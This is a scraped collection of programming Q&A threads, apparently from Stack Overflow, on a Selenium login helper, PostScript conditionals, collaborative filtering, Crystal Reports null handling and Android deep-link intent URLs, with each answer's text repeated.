2, Since login script is common , how can i reuse its script on each module ??

Can any one share idea about creating classes and writing script and running it ??

答:
You can google 'page factory' model as a methodology for your tests.   Alternatively nothing prohibits to setup one of your own; of course depending on the nature of the business/project you are working on.

Personally, I like having a TestBase class which holds major functionality (like findElement, or gotoPage, or typeChars) and then from there create a class per test case always extending the main TestBase (so you can inherit call its methods).

So to answer your questions:

1) It is really up to you, but you can write a class per test case where each @Test annotation will be a test step (so you can play with dependencies and priorities)

2) You can write up a loginViaEmail method/function in your TestBase and call it from every test on your @BeforeClass (so it loads up your config before you start each test). Something like this:

```<code>public void loginViaEmail(String email, String pass){

driver.navigate("https://yourhomepage.com");
findElement.by.xpath(loginButton).click();
// input credentials
// click login
}
</code>```

Then you can go at your changePass test/class:

```<code>public class ChangePass extends TestBase {

    @BeforeClass
    public void intialSetup(){
    loginViaEmail("youremail@test.com", "someHardToGuessPass");
    }

    @Test public void findChangePassLink(){

    //rest of your test code
    }
}
</code>```

Hope this helps, best of luck!

Body:
You can google 'page factory' model as a methodology for your tests.   Alternatively nothing prohibits to setup one of your own; of course depending on the nature of the business/project you are working on.

Personally, I like having a TestBase class which holds major functionality (like findElement, or gotoPage, or typeChars) and then from there create a class per test case always extending the main TestBase (so you can inherit call its methods).

So to answer your questions:

1) It is really up to you, but you can write a class per test case where each @Test annotation will be a test step (so you can play with dependencies and priorities)

2) You can write up a loginViaEmail method/function in your TestBase and call it from every test on your @BeforeClass (so it loads up your config before you start each test). Something like this:

public void loginViaEmail(String email, String pass){

driver.navigate("https://yourhomepage.com");
findElement.by.xpath(loginButton).click();
// input credentials
// click login
}

Then you can go at your changePass test/class:

public class ChangePass extends TestBase {

    @BeforeClass
    public void intialSetup(){
    loginViaEmail("youremail@test.com", "someHardToGuessPass");
    }

    @Test public void findChangePassLink(){

    //rest of your test code
    }
}

Hope this helps, best of luck!


问:
If statement in Postscript
How to create if function in Poscript.

If (1.ps is filename) open fucntion /1
If (2.ps is filename) open function /1

enter image description here

答:
Please read the PostScript Language Reference Manual, the if and ifelse operators are well defined there.

For example (based on the example on page 607 of the 3rd edition):

```<code>4 3 lt
{
  (TruePart) print
}
{
  (FalsePart) print
}
ifelse
</code>```

Run this through a PostScript interpreter and it will print 'FalsePart', because 4 is not less than 3.

If you want to program in PostScript, you will need to learn the basics of the language. The code you've pointed at isn't valid PostScript.

Title: If statement in Postscript

Body:
Please read the PostScript Language Reference Manual, the if and ifelse operators are well defined there.

For example (based on the example on page 607 of the 3rd edition):

4 3 lt
{
  (TruePart) print
}
{
  (FalsePart) print
}
ifelse

Run this through a PostScript interpreter and it will print 'FalsePart', because 4 is not less than 3.

If you want to program in PostScript, you will need to learn the basics of the language. The code you've pointed at isn't valid PostScript.


问:
Fuzzy queries to database
I'm curious about how works feature on many social sites today.

For example, you enter list of movies you like and system suggests other movies you may like (based on movies that like other people who likes the same movies that you). I think doing it straight-sql way (join list of my movies with movies-users join with user-movies group by movie title and apply count to it ) on large datasets would be just impossible to implement due to "heaviness" of such query.

At the same time we don't need exact solution, approximate would be enough. I wonder is there way to implement something like fuzzy query to traditional RDBMS that would be fast to execute but has some infelicity. Or how such features implemented on real systems.

答:
that's collaborative filtering, or recommendation

unless you need something really complex the slope one predictor is one of the more simple ones it's like 50 lines of python, Bryan O’Sullivan’s Collaborative filtering made easy, the paper by Daniel Lemire et al. introducing "Slope One Predictors for Online Rating-Based Collaborative Filtering"

this one has a way of updating just one user at a time when they change without in some cases for others that need to reprocess the whole database just to update

i used that python code to do predict the word count of words not occurring in documents but i ran into memory issues and such and i think i might write an out of memory version maybe using sqlite

also the matrix used in that one is triangular the sides along the diagonal are mirrored so only one half of the matrix needs to be stored

Title: Fuzzy queries to database


问:
Exclude data with null values in crystal report
I have this formula in crystal reports

```<code>Global NumberVar Array Z := [
IF isnull({MIPIRReport;1.1}) then 0 else tonumber({MIPIRReport;1.1}) ,
IF isnull({MIPIRReport;1.2}) then 0 else tonumber({MIPIRReport;1.2}) ,
IF isnull({MIPIRReport;1.3}) then 0 else tonumber({MIPIRReport;1.3}) ,
IF isnull({MIPIRReport;1.4}) then 0 else tonumber({MIPIRReport;1.4}) ,
IF isnull({MIPIRReport;1.5}) then 0 else tonumber({MIPIRReport;1.5}) ,
IF isnull({MIPIRReport;1.6}) then 0 else tonumber({MIPIRReport;1.6}) ,
IF isnull({MIPIRReport;1.7}) then 0 else tonumber({MIPIRReport;1.7}) ,
IF isnull({MIPIRReport;1.8}) then 0 else tonumber({MIPIRReport;1.8}) ,
IF isnull({MIPIRReport;1.9}) then 0 else tonumber({MIPIRReport;1.9}) ,
IF isnull({MIPIRReport;1.10}) then 0 else tonumber({MIPIRReport;1.10}) ];

Minimum (Z)
</code>```

What I would want is when the data is null, It should be excluded in my report

For graphical example, The values would be like this:

```<code>1.1,1.2,1.9,1.5,1.88,0,0,0,0,0
</code>```

where the 0 represents the null and the 1 represents the values.

I would like to get the minimum value, which would be 1.1 and not 0. How should I do it?

Do take note that each number in the example is a different field in my crystal report which is so named as:

```<code>1,2,3,4,5,6,7,8,9,10
</code>```

答:
You can try 2 ways.

If you want to store null values then you can take 2 arrays one for storing only 0 that is null and another array to store other values.

If you don't need 0 to be stored then change formula this way:

```<code>Global NumberVar Array Z;

IF isnull({MIPIRReport;1.1}) then 0 else Z:= tonumber({MIPIRReport;1.1}) ,
IF isnull({MIPIRReport;1.2}) then 0 else Z:= tonumber({MIPIRReport;1.2}) ,
IF isnull({MIPIRReport;1.3}) then 0 else Z:= tonumber({MIPIRReport;1.3}) ,
IF isnull({MIPIRReport;1.4}) then 0 else Z:= tonumber({MIPIRReport;1.4}) ,
IF isnull({MIPIRReport;1.5}) then 0 else Z:= tonumber({MIPIRReport;1.5}) ,
IF isnull({MIPIRReport;1.6}) then 0 else Z:= tonumber({MIPIRReport;1.6}) ,
IF isnull({MIPIRReport;1.7}) then 0 else Z:= tonumber({MIPIRReport;1.7}) ,
IF isnull({MIPIRReport;1.8}) then 0 else Z:= tonumber({MIPIRReport;1.8}) ,
IF isnull({MIPIRReport;1.9}) then 0 else Z:= tonumber({MIPIRReport;1.9}) ,
IF isnull({MIPIRReport;1.10}) then 0 else Z:= tonumber({MIPIRReport;1.10}) ;

Minimum (Z)
</code>```

Let me know how it goes

Body:
I have this formula in crystal reports

Global NumberVar Array Z := [
IF isnull({MIPIRReport;1.1}) then 0 else tonumber({MIPIRReport;1.1}) ,
IF isnull({MIPIRReport;1.2}) then 0 else tonumber({MIPIRReport;1.2}) ,
IF isnull({MIPIRReport;1.3}) then 0 else tonumber({MIPIRReport;1.3}) ,
IF isnull({MIPIRReport;1.4}) then 0 else tonumber({MIPIRReport;1.4}) ,
IF isnull({MIPIRReport;1.5}) then 0 else tonumber({MIPIRReport;1.5}) ,
IF isnull({MIPIRReport;1.6}) then 0 else tonumber({MIPIRReport;1.6}) ,
IF isnull({MIPIRReport;1.7}) then 0 else tonumber({MIPIRReport;1.7}) ,
IF isnull({MIPIRReport;1.8}) then 0 else tonumber({MIPIRReport;1.8}) ,
IF isnull({MIPIRReport;1.9}) then 0 else tonumber({MIPIRReport;1.9}) ,
IF isnull({MIPIRReport;1.10}) then 0 else tonumber({MIPIRReport;1.10}) ];

Minimum (Z)

What I would want is when the data is null, It should be excluded in my report

For graphical example, The values would be like this:

1.1,1.2,1.9,1.5,1.88,0,0,0,0,0

where the 0 represents the null and the 1 represents the values.

I would like to get the minimum value, which would be 1.1 and not 0. How should I do it?

Do take note that each number in the example is a different field in my crystal report which is so named as:

1,2,3,4,5,6,7,8,9,10

Body:
You can try 2 ways.

If you want to store null values then you can take 2 arrays one for storing only 0 that is null and another array to store other values.

If you don't need 0 to be stored then change formula this way:

Global NumberVar Array Z;

IF isnull({MIPIRReport;1.1}) then 0 else Z:= tonumber({MIPIRReport;1.1}) ,
IF isnull({MIPIRReport;1.2}) then 0 else Z:= tonumber({MIPIRReport;1.2}) ,
IF isnull({MIPIRReport;1.3}) then 0 else Z:= tonumber({MIPIRReport;1.3}) ,
IF isnull({MIPIRReport;1.4}) then 0 else Z:= tonumber({MIPIRReport;1.4}) ,
IF isnull({MIPIRReport;1.5}) then 0 else Z:= tonumber({MIPIRReport;1.5}) ,
IF isnull({MIPIRReport;1.6}) then 0 else Z:= tonumber({MIPIRReport;1.6}) ,
IF isnull({MIPIRReport;1.7}) then 0 else Z:= tonumber({MIPIRReport;1.7}) ,
IF isnull({MIPIRReport;1.8}) then 0 else Z:= tonumber({MIPIRReport;1.8}) ,
IF isnull({MIPIRReport;1.9}) then 0 else Z:= tonumber({MIPIRReport;1.9}) ,
IF isnull({MIPIRReport;1.10}) then 0 else Z:= tonumber({MIPIRReport;1.10}) ;

Minimum (Z)

Let me know how it goes


问:
Redirect to Android App from a Website?
When a user opens a website I want one of the following two cases to be happen:

If the app mycoolapp is installed redirect the user to the app using the custom url scheme mycoolapp://

If the app is not installed stay on the current page without posting or redirecting to an unknown page or an error popup.

Case 1 is easy you can use the following code:

```<code>window.location = "mycoolapp://";
</code>```

This will work if the app is installed on the device. When the app is not installed it redirects the user to a blank page which is unknown.

For case 2 I have a solution using an iFrame which works great on iOS and on the native Android browser. It does not work on Chrome for Android.

```<code>var redirect = function (location) {
    var iframe = document.createElement('iframe');
    iframe.setAttribute('src', location);
    iframe.setAttribute('width', '1px');
    iframe.setAttribute('height', '1px');
    iframe.setAttribute('position', 'absolute');
    iframe.setAttribute('top', '0');
    iframe.setAttribute('left', '0');
    document.documentElement.appendChild(iframe);
    iframe.parentNode.removeChild(iframe);
    iframe = null;
};

redirect('mycoolapp://');
</code>```

When the app is installed it is working on the native Android browser, but on Chrome for Android there is not redirect. Nothing happens on the page.

How can I make redirect to my app working on Chrome for Android without redirecting to a blank page when the app is not installed?

Edit: I know that you can use an Intent

```<code>window.location = "intent://#Intent;package=com.mycoolapp;scheme=mycoolapp;launchFlags=268435456;end;";
</code>```

This is not what I want because it launches the app page on google play if the app is not installed. Is there a way that it will not redirect to google play?

答:
```<code> Add this in manifest file,note the scheme.

        <intent-filter>
            <data android:scheme="startci" />
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
        </intent-filter>
</code>```

in html give the code, the scheme is same as in the manifest file.

```<code><a href="intent:#Intent;scheme=startci;package=gramener.star;end">click here</a>
</code>```

if you want to add parameter to your app use this

```<code><a href="intent:#Intent;scheme=startci://open?url_param=hi santhosh;package=gramener.star;end">click here</a>
</code>```

if the app is not installed so if you want to redirect to some other page add the fallback url like this. the url must be encoded

```<code><a href="intent:#Intent;scheme=startci://open?url_param=hi santhosh;package=gramener.star;S.browser_fallback_url=http%3A%2F%2Fzxing.org;end">click here</a>
</code>```

to get the parameter add below code

```<code> Uri data = this.getIntent().getData();
    if (data != null && data.isHierarchical()) {
        if (data.getQueryParameter("url_param") != null) {
            String param = data.getQueryParameter("url_param");
            Log.d("the param is",param);
              //do something here
        }
    }
</code>```

Title: Redirect to Android App from a Website?

Body:
When a user opens a website I want one of the following two cases to be happen:

If the app mycoolapp is installed redirect the user to the app using the custom url scheme mycoolapp://

If the app is not installed stay on the current page without posting or redirecting to an unknown page or an error popup.

Case 1 is easy you can use the following code:

window.location = "mycoolapp://";

This will work if the app is installed on the device. When the app is not installed it redirects the user to a blank page which is unknown.

For case 2 I have a solution using an iFrame which works great on iOS and on the native Android browser. It does not work on Chrome for Android.

var redirect = function (location) {
    var iframe = document.createElement('iframe');
    iframe.setAttribute('src', location);
    iframe.setAttribute('width', '1px');
    iframe.setAttribute('height', '1px');
    iframe.setAttribute('position', 'absolute');
    iframe.setAttribute('top', '0');
    iframe.setAttribute('left', '0');
    document.documentElement.appendChild(iframe);
    iframe.parentNode.removeChild(iframe);
    iframe = null;
};

redirect('mycoolapp://');

When the app is installed it is working on the native Android browser, but on Chrome for Android there is not redirect. Nothing happens on the page.

How can I make redirect to my app working on Chrome for Android without redirecting to a blank page when the app is not installed?

Edit: I know that you can use an Intent

window.location = "intent://#Intent;package=com.mycoolapp;scheme=mycoolapp;launchFlags=268435456;end;";

This is not what I want because it launches the app page on google play if the app is not installed. Is there a way that it will not redirect to google play?

Body:
 Add this in manifest file,note the scheme.

        <intent-filter>
            <data android:scheme="startci" />
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <category android:name="android.intent.category.BROWSABLE" />
        </intent-filter>

in html give the code, the scheme is same as in the manifest file.

<a href="intent:#Intent;scheme=startci;package=gramener.star;end">click here</a>

if you want to add parameter to your app use this

<a href="intent:#Intent;scheme=startci://open?url_param=hi santhosh;package=gramener.star;end">click here</a>

if the app is not installed so if you want to redirect to some other page add the fallback url like this. the url must be encoded

<a href="intent:#Intent;scheme=startci://open?url_param=hi santhosh;package=gramener.star;S.browser_fallback_url=http%3A%2F%2Fzxing.org;end">click here</a>

to get the parameter add below code

 Uri data = this.getIntent().getData();
    if (data != null && data.isHierarchical()) {
        if (data.getQueryParameter("url_param") != null) {
            String param = data.getQueryParameter("url_param");
            Log.d("the param is",param);
              //do something here
        }
    }